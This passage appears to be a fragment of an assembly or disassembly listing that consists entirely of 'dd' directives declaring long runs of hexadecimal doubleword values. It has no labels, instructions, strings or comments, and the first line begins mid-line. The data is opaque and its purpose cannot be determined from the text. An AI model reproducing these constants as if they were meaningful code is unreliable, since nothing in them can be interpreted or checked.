93C6B476h dd 887733h, 4E59B052h dd 43F5AB15h, 66A6E21Eh, 4AE41900h, 5911F809h, 2B1DA01Ch dd 0D48640B0h, 9BD08EC2h, 71F4E531h, 0E0E4B11Fh, 0BCCA390Fh dd 409D800h, 0A1E4BD4Ch, 0FA50F000h, 72D1E5ABh, 9A75B3h dd 0A6112729h, 796F9EDEh, 0E6B85901h, 307387FBh, 35A48E8h dd 9C07144Ch, 2C90D840h, 15030F89h, 0E0F86063h, 0C80380EAh dd 3B71ABh, 0DF8088F1h, 9E403D49h, 28BF3537h, 53D42270h dd 0BDD700C1h, 0CEA18CF3h, 7539C0BBh, 0D3B8F526h, 0DAC5B20Ch dd 0E633061h, 0FBC9A48h, 6FEA88Fh, 79028D71h, 2BEA9B03h dd 0C064E9EEh, 7CF37796h, 71B900F0h, 0EBB210E7h, 0AC908C8Dh dd 52411900h, 0BC9559BDh, 0B773A93h, 15F1A200h, 8B71847h dd 0A9C065FAh, 7D7A8E62h, 0B2F08Ah, 2AFD7216h, 0A121708Dh dd 62D30918h, 57EC70h, 1A26367Ah, 149BFB5Dh, 5665E200h dd 71B0B4E7h, 0BC510342h, 0F5A72CEDh, 3C11F0DFh, 0CF31FB54h dd 3771C835h, 0C5AED0h, 6CD68448h, 0B6891240h, 5C753000h dd 781F1E1Ah, 42E40031h, 413C39D0h, 21C0C0D1h, 361FCDF3h dd 5DC61FDFh, 7D550CAEh, 0D8CA549h, 317B1FD9h, 0C5240241h dd 1FD0FA20h, 4FEACBh, 61CDD2CCh, 0BF6D92DCh, 0B001F2E8h dd 0BAD1F12Ch, 3CCF5B81h, 40615D21h, 0B042362Dh, 0CAB91A48h dd 0DC62032Ch, 4FAAA05Ah, 76EE4003h, 97CCF6Ch, 9E981029h dd 35A2F980h, 9C6F7B3h, 158E05Dh, 0B9EA5F0h, 0DCDB4116h dd 0AA18B02Fh, 8D4154ECh, 9B9F073Eh, 10DC8F34h, 0B1D6738Ch dd 0D2239300h, 0C06A42CFh, 3C9278B8h, 8818D001h, 0AB1EB1D4h dd 36296D00h, 0D1069A93h, 0D39219B7h, 0EC6A283Bh, 0E75C33EBh dd 0FEDB0055h, 0F07DD489h, 4BE8A7h, 0EE2C0B03h, 2D4E8222h dd 0E8E4F900h, 5E9C2113h, 0BA7F0096h, 0EC67B0C9h, 5C3B3A38h dd 9B0C8024h, 391195FAh, 0FD3600ACh, 4990C16Dh, 710048CCh dd 6924DC1Fh, 3EC39Eh, 0AF878E63h, 0DC43344h, 0E50A1300h dd 84716486h, 0F2FAD2h, 0A24354F8h, 886B4B5Fh, 55CC1800h dd 0C74EF7DEh, 0FB440057h, 0F9B96EAEh, 0A003D9Eh, 6AF88B17h dd 3BF23BD9h, 0BF80D39Dh, 55512B36h, 8700D8C9h, 4F608539h dd 38BADAC7h, 0C2BCB366h, 0DB1D9300h, 16264710h, 40D9A100h dd 0D5E1AFAAh, 1FC23EB7h, 2C74CA07h, 0F0B960D7h, 72002A25h dd 43F81871h, 144B890h, 15264C22h, 0E4E6E3A1h, 2406EBBFh dd 0DDE9C31Ah, 76120004h, 0D9EECB87h, 6D00AF29h, 3E7C0924h dd 0E35379h, 0ECA6D892h, 2D48446Bh, 16433C00h, 0BD31FBFh dd 5113007Fh, 7037C386h, 950022F9h, 67A54AC5h, 5B4185h dd 3F8D1E68h, 3C49FFF4h, 51342301h, 985AA58h, 7992C4h dd 9DE8E754h, 0EA6D43Bh, 1CE04200h, 7E215071h, 3104F487h dd 31297A17h, 100F123Fh, 0C8A7F15h, 84D5298Ah, 50E1F422h dd 208D28C9h, 0E9425574h, 11E2C211h, 41087DBDh, 6D0852E0h dd 0BC2D883Dh, 8C4AD188h, 8129DFE3h, 20DC3A44h, 852215BAh dd 22F0A34Bh, 0AB002529h, 0B16ACF80h, 0E89E8C8Fh, 86981Fh dd 6C86B324h, 6F839828h, 5B05A376h, 5E8EFD8Fh, 8590400h dd 9B241Ch, 0FF719902h, 0E830150h, 0C89CAE03h, 79219F4Ah dd 93460020h, 88E28041h, 9113553Ch, 0CF004520h, 84A5D715h dd 0F6171DA2h, 0C9DAC2B7h, 5E40AB3Ch, 0B2006968h, 86935881h dd 1F2D94E5h, 0C1B0E109h, 0F4244B16h, 0A8B8CBE8h, 6E006A1Ch dd 8F5F4021h, 0D4C1FEh, 490271A4h, 0AE2462EEh, 1670B64Ch dd 60C8938h, 30E738F2h, 97215AEAh, 0C40076EFh, 4F7F2D3Ch dd 282A43h, 3FD87217h, 0CBE63891h, 398A500h, 0BA0986DAh dd 0E5ECBDh, 70F4870Bh, 17AF1A15h, 1D6FFF00h, 0CA2B8156h dd 835B0E22h, 0F8E37DF1h, 4BD84801h, 0D3011E3Ch, 0DCBEA9B2h dd 7BCCD52Eh, 1A8A01B9h, 25AA442Dh, 0D003CF64h, 4A04F263h dd 0E170D0EFh, 0AE2B01BCh, 54C306E2h, 0CA11801Fh, 12E77AFFh dd 0EE1C0088h, 166B59ABh, 0A00049EAh, 0B1301D47h, 6EA6C1A4h dd 0C2A1C0D9h, 40B08259h, 56618180h, 54054A00h, 0DC606A9Eh dd 580B0009h, 0D9B2448Eh, 4D03392Bh, 61E89F84h, 0F946F093h dd 0D9226012h, 0EA18B175h, 0E478BDh, 0B01ED186h, 0B2458827h dd 0D3CE3C00h, 0C0E9DFEBh, 7ED2002Dh, 84BEAAC8h, 0F400BF07h dd 232E7F4Eh, 1FB4C6BCh, 54F93C57h, 9000E20Ch, 0C85EFC9Eh dd 0F8E0BEB5h, 7152B600h, 0D2A71378h, 7ACDEE8Fh, 4D2B0018h dd 371B5002h, 1DB01547h, 815CC23Ah, 89A34AB1h, 9C80B73h dd 0A2831CD1h, 3182802Fh, 0A78C80E8h, 961FD677h, 42C02D37h dd 0D88E2B9Fh, 0A4BF1C58h, 70A69CCBh, 0A2FA7809h, 0B96FB400h dd 3502199Ah, 34500021h, 0D7ECB518h, 9D0E116Bh, 12095CD4h dd 0C1920402h, 0E988808Ch, 9090FBF8h, 0B2F94878h, 0CA3FD704h dd 0CE87815Fh, 4ABC5049h, 74000ADEh, 135E0F69h, 0A75FECBh dd 0A7A4A86Bh, 5A8701A0h, 0E0EBBB2Eh, 38018F60h, 0F2366123h dd 3ED46BA2h, 0DFD100AFh, 765B932Fh, 2E005FC5h, 6F0EADFEh dd 7D494F03h, 43AA0225h, 853F23C8h, 0DF0BB2E0h, 0D994C250h dd 3FCF3326h, 94281919h, 0E316EC0h, 0CB020764h, 0EDCD4700h dd 1D0088EBh, 4011EC65h, 0E422D7C1h, 0FCA5003Ch, 0D28AB448h dd 0E1E8BD15h, 66019CEEh, 5A2926A8h, 28F33741h, 0B60EF0h dd 45EBEE9Eh, 0DC0CB6B8h, 7A7F7100h, 0D0994D5Ah, 107036Ah dd 85E41DB3h, 0D1460C98h, 0B43F6E1Dh, 1800B21Dh, 0CB4E6AE7h dd 39BAE201h, 0AF80084Ch, 0B4B33406h, 0E70C2894h, 0E175529Dh dd 0D35E01C9h, 0EA5A043Ah, 0E450D037h, 0C353100h, 0F10F45E0h dd 96AC0717h, 25F536D5h, 0D00400D4h, 0CE820615h, 8C17C5Ah dd 60E21DA7h, 2925488h, 49753C02h, 0F88E8F1Ah, 0F0FA7F80h dd 0F1EE1164h, 0AC97BD0Eh, 179680CDh, 126165ECh, 0F49208h dd 0E76398ACh, 1D73D880h, 822E950Bh, 0DF40070Bh, 0B1A112A0h dd 99F00C8h, 841D0851h, 0A81CFAE8h, 0DA0FBC06h, 975D03A9h dd 44158852h, 0C172001Fh, 0A3C5D398h, 900F051h, 3A638B54h dd 0E3E867h, 2ADEBAA4h, 1355B78h, 18C33Bh, 5FC1B347h, 0E60D6F9Ch dd 8E691F8Ch, 0AF1BC0E7h, 3386BFF1h, 121E1500h, 39C24C38h dd 4443001Ch, 8D84E371h, 2A004D0Dh, 0D86F8205h, 2F3D1Ah dd 1CC8F926h, 1DCBF4B9h, 2EE4BC00h, 97FF5AC0h, 70F11321h dd 905809C3h, 4E00108Fh, 95CC3762h, 0F62D4A1Dh, 0C2342A01h dd 0C4CD439Bh, 6D86B30h, 4D7F7356h, 680009A2h, 694CFCADh dd 0EBDC1ACh, 12AE6610h, 0B9A7A8CEh, 372CF0C3h, 0DD0050C9h dd 437D7C78h, 3B232DC7h, 9680172Eh, 0E29052B1h, 49007AB9h dd 73322AD6h, 53B011h, 0DC3C41F7h, 9F09F533h, 0E32C2F74h dd 0E1033412h, 0E86C3763h, 204F6Bh, 968A2562h, 1F958336h dd 326DE303h, 98060293h, 3FD4B1C3h, 0C9BBB0AFh, 0C038206h dd 12EA2030h, 0D54BF60Fh, 78F5E02Ah, 0B86B7905h, 1CD1006Ch dd 2FC15770h, 4700FB68h, 0ED7C0C58h, 749D26h, 1A67CD1Eh dd 53631AAh, 0D324A97Ch, 0E00A8EFh, 1B4C4F9Ch, 183C0016h dd 444DC514h, 77002EA8h, 0BFC0DED7h, 5CD95BBh, 8465D809h dd 0D3C80D6h, 0C2308C2Eh, 0D4B011B3h, 0C3CF0956h, 5D00779Dh dd 0A13691FFh, 73CE658h, 0D317ECC5h, 560A3431h, 160BE7F4h dd 0E52B4h, 0DE7CA3AAh, 0C600EF75h, 0EC924266h, 984B5BBh dd 0E431856Ch, 7E45B080h, 0C6501546h, 0F900C7E0h, 9BADFDE3h dd 0F4FC223Dh dd 0F0EB30D9h, 90F0B21h, 59315207h, 0BBC02F63h, 0F2A0F6h dd 5F99D797h, 3B6DF1BEh, 103C1790h, 37E09EE1h, 0FFFDF5Eh dd 0E0551AE4h, 0DE1D809Bh, 67A61CD1h, 8AEB40AFh, 50F1AD13h dd 34D9E707h, 0AB07D3h, 0E3F60DBBh, 717F0764h, 50BC9C67h dd 4ADB502Bh, 0C3D87750h, 0E263E400h, 0C52A6FC2h, 16DD02C8h dd 6C6DDABFh, 0F4DE7B41h, 1A0311CEh, 660464FFh, 996F8h dd 0F65C3E38h, 0DB5EF92Fh, 62759D0Ah, 0F5009055h, 0AAD31D2Ah dd 1B570069h, 929C9A68h, 4700E9E4h, 3936BC59h, 0D2754Ch dd 0C78AD1AAh, 0F1F99623h, 0B84C137Bh, 614603C4h, 0E8E66EF2h dd 675034h, 307AA1B5h, 0CB75A0D4h, 0B657B700h, 0B38F5D71h dd 988D00D8h, 3AA3356Ch, 0BB17FB15h, 36004CA4h, 8D292420h dd 9E2C0056h, 0B37E420Fh, 4500F326h, 0A3185ABBh, 0DFB409h dd 38FA51A8h, 4C524ACDh, 6DD3F814h, 0FE3B0798h, 99436A37h dd 80F0D330h, 1DF2673Eh, 806B3460h, 713633FAh, 720615EFh dd 8C1EFCD0h, 0C5D60709h, 8D6E7Ah, 75C4E376h, 98574A28h dd 2FB53D16h, 0E89B6800h, 0B61678h, 0E0B059DDh, 8EF6817Dh dd 27DB090Bh, 2B18070Ah, 2B94AEBFh, 0F2D420FFh, 5076AD96h dd 2680B86Bh, 80E0F66Dh, 2DC1D8F9h, 0FB0433E9h, 530D115Ch dd 21377891h, 0A12680C7h, 0B00300FCh, 0BE5A986Ah, 1E0156D2h dd 0A962548Dh, 0A883533Ah, 0A34EE9F3h, 0AB93EA0h, 7E17B400h dd 8D22DCE0h, 7FF7885h, 6DAD3253h, 0A2254002h, 0A098C210h dd 8B1F7000h, 1701ABD0h, 0E679002Fh, 0C676E98Eh, 7700251Ah dd 22241FE3h, 77C938A1h, 52E185Ah, 0CCB0859h, 9D2C1D39h dd 0F042E2F2h, 40138EC0h, 4CD946B0h, 0A11EA02Dh, 0B3E0804Dh dd 0C8016CBAh, 28961A50h, 65EB2E0Ah, 8E05E472h, 84D0051Ch dd 78F3FFC0h, 4D25CA4h, 7804EE03h, 7B91F7A2h, 1F2830B8h dd 0B40076E4h, 9BF523B9h, 52A3694h, 0D134468Eh, 0BAC30B8h dd 89FE4165h, 645E9D00h, 1EC645E6h, 0A7FF0081h, 0AAB76BFDh dd 4D7C94ADh, 71560917h, 0DE84003Eh, 219F2011h, 9C4449FEh dd 0ECB4F00h, 6DEAF653h, 0B4068E02h, 48B7AAB3h, 40CE3034h dd 0F0FE2E0Bh, 33002492h, 8F41BF6Bh, 0EB1957h, 0BA29ADA4h dd 0BDA72640h, 30274306h, 1C4AF10Eh, 811294h, 56C1F096h dd 0C207F3B5h, 0AE392D5Fh, 0AF98E1FEh, 688073D2h, 52D748B3h dd 0D41D87B9h, 3FBA69h, 8E4BAC6Bh, 7480AF97h, 302A488Bh dd 4875B705h, 51040E56h, 525C8400h, 790581FBh, 0DC9F28A7h dd 0FD48001h, 0D8009E83h, 9A12573Dh, 9440647Bh, 0B85E0C5Bh dd 82B70B27h, 9580C026h, 7B6C0F34h, 0EC5F0200h, 405260F3h dd 77EF02A9h, 14FF29C9h, 8DD16040h, 3A68CF05h, 38C038AAh dd 46BF0E7h, 4D6562EDh, 213C807Fh, 0ABF47429h, 0E604D490h dd 0B74354B9h, 35AE3C01h, 0BB19C09Eh, 234234Dh, 88614AD9h dd 0C99C43C1h, 0A4359CD2h, 348824h, 1D416731h, 0E3B39991h dd 0F6BE1007h, 0AB203EDFh, 9C175h, 8F05B779h, 1884FF19h dd 0FAA05705h, 8C00EB6Ah, 34028067h, 41470FAFh, 36E52BC4h dd 8FA400EDh, 60FE7BFDh, 7F98D3Eh, 42BE262h, 0B0B23DF0h dd 9132008Bh, 2694B8FAh, 37005879h, 1FD9EC4Fh, 277BACh dd 7A78A3B5h, 7C7655D6h, 72A1D800h, 6FA24C48h, 0DACF024Bh dd 0AA9A6BF2h, 93BD04A0h, 7E1CF868h, 1243A59Fh, 0ADB3A46h dd 96F430B0h, 0CAA1C1E4h, 0C44DC9F2h, 0B40163DFh, 3F12550Eh dd 0C887FBDBh, 22119498h, 0F8AE5787h, 0DCEA009Ch, 66045C7h dd 0E159CA00h, 67AF48DBh, 6C5A0A38h, 13DC4043h, 0D1D8C139h dd 0EB4EE8DCh, 3D0120B8h, 0ACBB5516h, 3CD46A38h, 9685000Dh dd 1366EB28h, 9B3EC6F6h, 5FAB028Eh, 0E1BDE0AAh, 43E864C5h dd 382A095Ah, 0A0071AA2h, 0B53F201Fh, 5007317h, 49DBEDA7h dd 973B60h, 99E6630Ah, 5C535E31h, 0DE20789Ah, 64730BC3h dd 0ECD41D38h, 0EA749020h, 0A4E267E4h, 0B555B800h, 0DC443019h dd 3C1D0735h, 0F0EEA949h, 55D40BFBh, 87C12738h, 474BCB3Eh dd 0EA0A3B20h, 0E82A30F7h, 37E97DE8h, 0BC7C7203h, 0F87BE670h dd 1365E7BEh, 1DDC73B6h, 0F4DB025Ch, 8CC439D4h, 9A09FC60h dd 0B0F96831h, 0BA5107DCh, 3040DACAh, 7F4A8F5Eh, 549B7200h dd 2A3CA8BCh, 9E6439AAh, 6D05A73Dh, 126FD761h, 3012A0h dd 222F8314h, 233875B1h, 8023CAE1h, 8FC3E3A0h, 20558FE7h dd 0CF50DC02h, 42810086h, 0B883D232h, 34E9D18h, 28C4CB47h dd 2A907EBDh, 89E4173Ch, 6A63952Ch, 23EA813Ah, 0A2626A12h dd 3E74982Ch, 5C848EB1h, 0D0BBCE44h, 7F1BC088h, 9E598101h dd 0FBA59577h, 74711880h, 0DCE9E8C4h, 0C73F4E13h, 0C84BD8C2h dd 2CBC5CF0h, 8040CE95h, 0E09D25C3h, 649E7096h, 889AE500h dd 92968FBh, 931C5A3Eh, 14A99C01h, 42FE6090h, 6F5284Ch dd 8302FDA1h, 7840039h, 0CCB92636h, 81481C7Bh, 88790C51h dd 1A9C9ABh, 0DA70BFAEh, 818B64F0h, 7E867D80h, 88D440BBh dd 38A9005Ch, 7F502146h, 29393025h, 0F3D3046Eh, 34C0A7CEh dd 324F0CBh, 0C743456Ah, 0B4910CD0h, 15D3D051h, 0C83B5400h dd 789D4288h, 61BF076Ch, 0F0865236h, 5007FA9Fh, 0D45A0877h dd 160F76F8h, 0D9802614h, 8DED0243h, 60FCDD00h, 0E7D63137h dd 82F2033Eh, 7F3C8AFh, 8472D5E8h, 6A29A000h, 81A2DB10h dd 0AC7605D2h, 80D7FFBCh, 2C7C2DDDh, 1DD6F458h, 10B0AB90h dd 0F16F9A9h, 1DF65428h, 0E4923A80h, 0CA00AC82h, 0EFADE299h dd 3E705A2h, 59576077h, 2190AAD4h, 9000DF4Ah, 55DD9F1Eh dd 38E07F26h, 6980279Bh, 63562B9Ch, 2F01AC9Dh, 4B3E3BF5h dd 9973FF8h, 661E31h, 77D43580h, 0BB0EF749h, 9D369CA8h dd 0A0CA9E4Fh, 0ABC094E1h, 122E006Dh, 859D447Bh, 150027FAh dd 7088CF8Fh, 3916607h, 2C250362h, 52D86DD9h, 15005A51h dd 9ABCBD46h, 1AC1C4Bh, 3AD08EFCh, 0D02EB3A3h, 0C900B088h dd 6EA4F0EEh, 115E89h, 7FCCA645h, 3897BBBAh, 0FB2D1B00h dd 0DBCE968Dh, 13FE0092h, 692CC027h, 0D4006D06h, 2EA8E79Eh dd 0E2B2A59h, 0D8ECA9F9h, 0A77741E0h, 5200DCC8h, 3F6EFC93h dd 1D3AC0AAh, 0A3512Fh, 0EC2AFF44h, 0D400ABA8h, 0F69A4760h dd 63990h, 614FA97Eh, 0F5C2BB03h, 1437F43Ah, 0E32350h dd 5FDB2C69h, 605E87h, 67D12225h, 8D37A9EBh, 5096C130h dd 1C01E432h, 0C0F8DB99h, 7911BFC9h, 4E24C863h, 661E262Fh dd 0F18C6D40h, 584F2h, 0ED8FE90Ah, 52B7CDB0h, 2E073A04h dd 0C8080FAh, 4F335h, 0F55398A5h, 543D6C09h, 0FD3F3400h dd 0B7023979h, 9EAB009Bh, 0F4361FECh, 76002B13h, 5016A072h dd 76287C2h, 0F37F3F24h, 563590BDh, 6F000CA1h, 3CFDA42Ch dd 7075825h, 47BF3781h, 0F3562079h, 0F413C053h, 0FA00D023h dd 5A15548Ch, 7C290719h, 0F050FFBEh, 0C8386D58h, 462A9000h dd 93FC4099h, 0EEEB0095h, 853B02CDh, 0B870E614h, 46C26B00h dd 0A9D2C9CBh, 12AA98CCh, 0B8CE57D3h, 8B47004Ch, 3EC9183Fh dd 0AE172406h, 4C320686h, 8C70198Dh, 833A4F01h, 3EC8DF8Eh dd 30D1B1ECh, 76203D41h, 0BA003F7Dh, 835FF655h, 0FCFE8A52h dd 0C0BE3EC8h, 66413880h, 0E5706ADCh, 2506AD00h, 510C8060h dd 0B1D313D0h, 0C5480B95h, 7FB8DE80h, 0DF07F2F8h, 3E9E1DBh dd 0C812ABC0h, 72F4024Ch, 70458FD8h, 971676C0h, 0CC90C071h dd 2AD3082Eh, 3FC0441Eh dd 0A0BD7649h, 9489007Ch, 0C4FE866Dh, 260023E7h, 85F29D10h dd 2C32580Fh, 0E678AAh, 1168A941h, 630E46A2h, 2788DF29h dd 9E8CA328h, 0AC8F00B0h, 1A769FA0h, 0A5009B9Ah, 4169CDD9h dd 0D6ECB1h, 12D860D2h, 369DE371h, 1E79A10Fh, 0F98B03FDh dd 0BF38F0ADh, 0F7CC00CBh, 0E3943722h, 0B9005DA4h, 0C815F093h dd 1FB2DD54h, 4A53907h, 802DF30Dh, 0FFFC7F7Ch, 36574700h dd 6D777C18h, 0B66C00E5h, 0F11CAC48h, 7509A991h, 7988ABCh dd 0E0DEFE88h, 24E3D9CBh, 81410032h, 74B1DB6Fh, 0A5007116h dd 621B69C4h, 1CC9A445h, 85F6EFFFh, 0C06802EEh, 0A61524BEh dd 0CC0013F4h, 0DD39DDBh, 3DD8C870h, 41006451h, 670C351Ch dd 4700279Fh, 9AC6E911h, 0ECC7ACh, 0C571A51Ah, 4633FD4Dh dd 38D14900h, 15254EE5h, 0BD6E0070h, 50390552h, 0A07CA9A7h dd 5CD2A809h, 0E18804Bh, 30F109DDh, 7104EDFh, 93EC2C85h dd 990F640h, 1CCB265Ah, 86009A0Eh, 6CC0FB33h, 80B3B737h dd 32600FE7h, 3D105808h, 0BA864F80h, 20B51949h, 332330E9h dd 0A9C24C00h, 2955614Eh, 0E9B70013h, 0F2269678h, 5F24F3C4h dd 0E80F849h, 15407928h, 371E0048h, 17E55A7h, 0F2167F62h dd 0BA2CE4h, 0EF0D39E7h, 0EE00CB82h, 26B0655Ch, 3DB5834Bh dd 3B8B33CFh, 2C0FC025h, 472B5120h, 39009AB3h, 4C52BA88h dd 82BC8Eh, 6AC03237h, 2941333Fh, 0BF2DAA3Bh, 951304Fh dd 6D645Bh, 6861465Eh, 0CF1BA749h, 0E72C60E7h, 0A6227600h dd 80D5F764h, 6855003Ch, 0A1B99992h, 27004C3Ah, 6EDD504Dh dd 1FE05B5Eh, 4053658Dh, 69156C16h, 3624CB9Eh, 3F120401h dd 0BCA9B900h, 3BFEF847h, 0B700DDDBh, 89E5AE16h, 54B0FD7Fh dd 0C0148602h, 60B10FD4h, 77B5BCh, 0B687E8F0h, 172191C5h dd 0B383B00h, 0FD78B419h, 402800F1h, 5F87A3E5h, 0C73E2F3Ch dd 124501FCh, 26169B8h, 40D8BB42h, 35CBD4h, 0B0BF1047h dd 121CF652h, 25D7DE0Ch, 2C18D91Ah, 11F60A2h, 0EA198341h dd 4E1880B4h, 53400FDEh, 890B0029h, 0AB9D3246h, 0F476F6C5h dd 9E6CEF0Eh, 0BE62C0EDh, 0B93A76h, 1D08BD56h, 0F1FA0C7Bh dd 0DF928E00h, 2DCDF7D3h, 0BF31C53h, 3E120F6Ah, 7A15F20h dd 0C8007494h, 0B8CC9297h, 486399A3h, 0EC71C28h, 370790EFh dd 0E4099660h, 171DFh, 6EE7751Dh, 0AFF73A5Bh, 8C5EBD80h dd 8BC9CED5h, 9BB3A700h, 43B0CF49h, 0DB0C24D4h, 6ED50020h dd 0BBD2E70Bh, 0DA169900h, 0DC2CAC73h, 509700A3h, 519E8AE0h dd 88030961h, 1BEE0ACDh, 7D090073h, 66BA0C04h, 29040B01h dd 0B0AEBBC7h, 16602087h, 377CB44h, 320E3C46h, 6AB3234Eh dd 797542A8h, 7A17BB00h, 2F911662h, 6875D7h, 51574D5Bh dd 9DECF965h, 38E3721Fh, 18D292C0h, 10A0C63h, 0B076E8Dh dd 70D8013Eh, 0DA00EF87h, 345B3B62h, 95837E3h, 7188E02Fh dd 0BEC03C8Eh, 0A547C60Ah, 44B4CA03h, 0F2C5AFA0h, 9D0C4804h dd 14D709Bh, 75544326h, 0DC9141D9h, 2D7A8A97h, 79CAD600h dd 0E59DEDDCh, 0F12F0261h, 6FC7775Ah, 5B2BF180h, 7E0F1204h dd 0E02E9AB0h, 85BFB147h, 0D8380716h, 0B092A9BBh, 21667B3Eh dd 19FA3009h, 0E3B48F97h, 78757C48h, 73917888h, 0B6AC0250h dd 972A0E4Fh, 0FFF178E0h, 0F8C4F602h, 8E502BF9h, 96E1E618h dd 0E2150649h, 8214E9Ch, 0F21DF300h, 2F8978CCh, 0C9110041h dd 6508FA8Dh, 0A000B473h, 68932718h, 5CBBA7Ch, 0E0FEE842h dd 454C4017h, 2E0926D7h, 1955A400h, 0A7ABF08Dh, 0D5F81FFBh dd 496AC051h, 87F2DAA2h, 7E42F73Eh, 0AC10972Ah, 0F8541151h dd 0C61DF6D7h, 0DF94845Eh, 3CB38034h, 7DADB5DCh, 0AA0800B0h dd 36FDC243h, 0CB0327FCh, 0DB768B02h, 0E859B857h, 0E1C500A1h dd 0EA47F943h, 0DF008299h, 8B9781AAh, 0BFA5D3h, 0DBB6C7A8h dd 94ED8E7h, 0DE1DD7F6h, 9840BAD0h, 0AAB3EE2Ah, 0A0DC03A7h dd 0ABB52995h, 89DD21F0h, 0FA511B00h, 446690EAh, 8D6B00B7h dd 6872B10Ah, 0AB3D7E17h, 0BBD400A8h, 109D24E0h, 4E77E3h dd 9ED17071h, 0AFEBFDF2h, 73488B09h, 2DC600E9h, 0C44CD2h dd 21CB8924h, 51636F03h, 16950D00h, 4379924Dh, 0E3CE011Eh dd 0C607816Ah, 8A21E8h, 0BE9DCA90h, 41A06E00h, 515B52D1h dd 7A840F3Bh, 0C7C08D95h, 4D754AAAh, 0EF80F500h, 0F18258D7h dd 2ED807F4h, 823E065Ch, 0AEE0AAFAh, 8700A868h, 1D6F8F14h dd 0C8DBAFh, 0E6BF3CD1h, 48EC7915h, 3E9B3100h, 0E45577F1h dd 0AD7A00E0h, 0B017EB10h, 500057B9h, 8164D82Dh, 0FEB7798Eh dd 336B0730h, 0D0038DF4h, 0BF79D7Bh, 0C5CC617h, 0AAD4285Eh dd 3CB8AB04h, 0E2864A00h, 0C61A6E7Fh, 0C3E77E0h, 0FE208F0Dh dd 2B26D828h, 0E91C040Eh, 0AF624DC0h, 7F7232h, 88D971Ch dd 0D127AEA8h, 290AD631h, 0C8114F1Fh, 0FC04DE99h, 12F81921h dd 9A9F1023h, 0B908D089h, 8437F644h, 429C7122h, 0F40F11C4h dd 214CDB11h, 37E526F0h, 0EF45F829h, 96992804h, 814AC4Ah dd 42BAF36Ch, 11915111h, 5E11A080h, 72202h, 847FC140h dd 0E26A4BE6h, 116D8C03h, 0A8F7349Ah, 0FB58B7h, 0DD5E5D4Dh dd 0FE9DCFBFh, 0B56E3903h, 0F315189Ch, 0FAE4D9A6h, 0FBAB2AD4h dd 0F2925A70h, 375B3BF7h, 0CED96580h, 71E0FB98h, 77B03B00h dd 1BE4A648h, 2F0B0043h, 82427DA5h, 0FA00C9E9h, 0D9242579h dd 76978CE4h, 0DD19C09Dh, 0BEE648EFh, 5AC57000h, 3C7E379Ch dd 886500A6h, 287204CEh, 0DE3A17E4h, 606800D4h, 0AC2C8EEDh dd 0B15C00E8h, 459B7EB6h, 4300E375h, 0B803D32Eh, 0B5ECFCh dd 0CF8C7CA1h, 46A6055Ah, 0B748AD07h, 8A601D7Fh, 1D19C08Dh dd 2B1504Eh, 0F9BE4479h, 32074848h, 1207877Ch, 19A73BE2h dd 1C6484C0h, 0CD7C006Ah, 307FC8EEh, 0BA006E71h, 0FF3F35CEh dd 3CD34FD4h, 0D07E490h, 8099A974h, 16735E14h, 47603FF6h dd 6DF9A078h, 1CD02030h, 40C31E3Ah, 0CB40145h, 2CA46C2Dh dd 0EB84554Dh, 26089A80h, 0BA111F8Fh, 3718F25Ah, 2F023CE0h dd 2E0EA5F8h, 0E2B70F7Eh, 80ECFE28h, 1EBD0DB0h, 0D3220787h dd 10F892F0h, 8F3D2AB2h, 4A969400h, 574CF620h, 0F4970068h dd 0BEF9808Ch, 86003E16h, 0CBFB8DD9h, 171DC8h, 0C3825F6Dh dd 9171A010h, 11D9FC00h, 294823ACh, 854E0087h, 33CDB1E0h dd 960E01CBh, 0A36428FCh, 2C1ADh, 75AAE4B6h, 36E72D5Ch dd 91EA0900h, 30265B67h, 7A88E652h, 0A85A009Eh, 0C092C4FEh dd 0E704D80Bh, 9CA399CDh, 98D318C3h, 2E5FF5F4h, 5A9284h dd 0E649FBA2h, 260186DAh, 8BA57E0Dh, 0A8405331h, 636540h dd 1F3B470Eh, 0F552DC72h, 7F5ABD3Bh, 6705FA00h, 0A848309h dd 914558A5h, 0FE80B13Fh, 581B6B24h, 0F20086C2h, 0C68CA928h dd 466713h, 60E6AE7Eh, 5B1EC881h, 3FF2A703h, 0C0697C5Eh dd 12CB1Fh, 9C61B0B9h, 0DFEE308h, 0DB271400h, 60A09811h dd 1C809AFDh, 8065DE80h, 3E874B9Ah, 0FCA823CDh, 0CB011BC9h dd 0A9203B8Fh, 44C0DCECh, 302809A8h, 81F7919Ah, 0A327707Fh dd 0CE0B3080h, 18B310C7h, 783CF400h, 0A956D597h, 0C05E0041h dd 0BAB15D07h, 0FB00B49Dh, 7755FF5Ah, 138FE8Ah, 0AD047523h dd 861B1C79h, 9A89970h, 0C1ED004Eh, 0D97E322Eh, 5100AA36h dd 0BC4F7887h, 78644B1h, 0FC259850h, 1DA00055h, 0A6000719h dd 783E5962h, 8B1831h, 0AE8F463Dh, 0E9EBC230h, 0A9D9B626h dd 0B8862700h, 6EEDDBh dd 0A0761E40h, 0EA8D411Bh, 0A93E1402h, 0D74FBB35h, 0DC651E40h dd 1711E100h, 32713184h, 48E973B2h, 870214CDh, 9FA7A0EBh dd 9B501F00h, 0B57FFA10h, 0CFE0FC63h, 360EB22Fh, 63991B6Dh dd 0D8856009h, 45C031h, 7B20DF79h, 0D3844B0Fh, 0E921A90Fh dd 42FAAFEEh, 427653B9h, 0AA5D8014h, 1BC6885h, 469BAD8Ah dd 48DF1967h, 0AE0042E4h, 896F0723h, 3B2B9C49h, 1300B2A6h dd 0E28F651Ah, 24983DCBh, 0A3835A00h, 85BF4A4Dh, 240A3989h dd 8DA2E30Fh, 0E51DD600h, 0E4C69CBh, 6EB5012Ch, 14AD6112h dd 20481087h, 90F0D970h, 0D3C42912h, 0C043ECC0h, 0C14970D9h dd 8E0D9F28h, 0D839C48Ch, 0F7D61907h, 0A5700FD5h, 985B1007h dd 0D7E4015Fh, 0C45A4595h, 0EF3880BDh, 0D0578BB7h, 53E70708h dd 4B46ECC0h, 0ABF2D500h, 0FF02C7A0h, 97DAF0A3h, 260D0FDh dd 6A090FB7h, 94466DA6h, 4C230820h, 9F149E92h, 0A61F916Eh dd 13E6CF52h, 0ECD468E0h, 300641Ah, 0FC7401D3h, 4D56FA1Bh dd 6B05901Fh, 595CBA7h, 0C99F0h, 0FAF40E60h, 34E6CEE4h dd 0C002E307h, 6C500F62h, 630935h, 0AC8F9F37h, 8306332Ch dd 77CF8901h, 5F8D2712h, 1B82D4h, 3F4E6B11h, 0DB4B7194h dd 0E2E3E016h, 0CC867C01h, 0DFE888CAh, 30E900C1h, 8D0BCBECh dd 2D0040C6h, 57DEC236h, 0E3E493h, 9B414DE5h, 0BBEE1BC1h dd 4CB9C501h, 